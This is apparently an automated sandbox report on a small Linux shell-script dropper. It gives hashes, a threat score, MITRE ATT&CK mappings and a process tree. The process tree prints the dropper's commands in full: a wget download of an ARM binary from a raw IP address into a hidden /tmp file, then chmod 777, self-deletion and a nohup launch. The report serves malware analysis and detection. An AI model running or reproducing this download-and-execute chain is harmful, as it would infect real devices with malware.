f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa

Analysis

max time kernel
141s
max time network
147s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 09:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
Size 1KB
Sample261003-lc5pravgla
SHA256 f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa
MD5 58181e8b583ecf2fdf5af206b28f5982
SHA1 feb007bf1dc16be9579508119a9edbb6347d578a
SHA512 834213f7295e2aac132fdfb5a17f1b003604cebffa62d9eaa06b146c054b62ab868c34445b4fbcb60b7a8b9f87e6fc98edec330ef24a712d64c1fac5f5f34621
TLSH
T183217B2B36A234B2A35E08AE477E21165497012B04347E98B2EE17356FBDA367C79B11
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery upx

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
681	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.lotus	682	nohup

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/fstream-1.dat	upx

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/exe	.lotus

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.lotus	wget

/tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
/tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
1⤵
PID:654
- /bin/uname
  uname -m
  2⤵
  PID:655
- /usr/bin/wget
  wget -q http://2.27.248.149/bins/arm7 -O /tmp/.lotus
  2⤵
  - Writes file to tmp directory
  PID:659
- /bin/chmod
  chmod 777 /tmp/.lotus
  2⤵
  - File and Directory Permissions Modification
  PID:681
- /bin/rm
  rm -f /tmp/f79f81089f28cb3cf9c9508295d4c5ee7261e6b337286fc25e5af20a078ed0aa.sh
  2⤵
  PID:683
- /usr/bin/nohup
  nohup /tmp/.lotus
  2⤵
  - Executes dropped EXE
  PID:682
- /tmp/.lotus
  /tmp/.lotus
  2⤵
  - Reads runtime system information
  PID:682

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.lotus

Path /tmp/.lotus
Size 24KB
SHA256 0a7daa19d18fd62cabf0529e84f7eb126f8b1060313cbe11279e19087705ad20
MD5 0619ea92183c0295e38c50812013d42d
SHA1 f4c65cf758cfe5e833fbe3d02e38a4d1ac8f7e56
SHA512 2600246c36c02f450837fa790e93ba52f53ae098db35a30b7c09d61e11e8d1225d9ef8afc1692e65cb8a583a1efc256c6a89abe466ccd4c237fc0276e247b402
SSDEEP 768:RUGq2dCZcop8f41VQ4FQhsQOwWIVAZaUD/3Uf/:bdCZcn41NKhsFGVLr/
TLSH
T17BB2D062E7853CD2C6F1257AECEC0D43BB175BF8D0AE71602685AB1525E61432AFE903
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download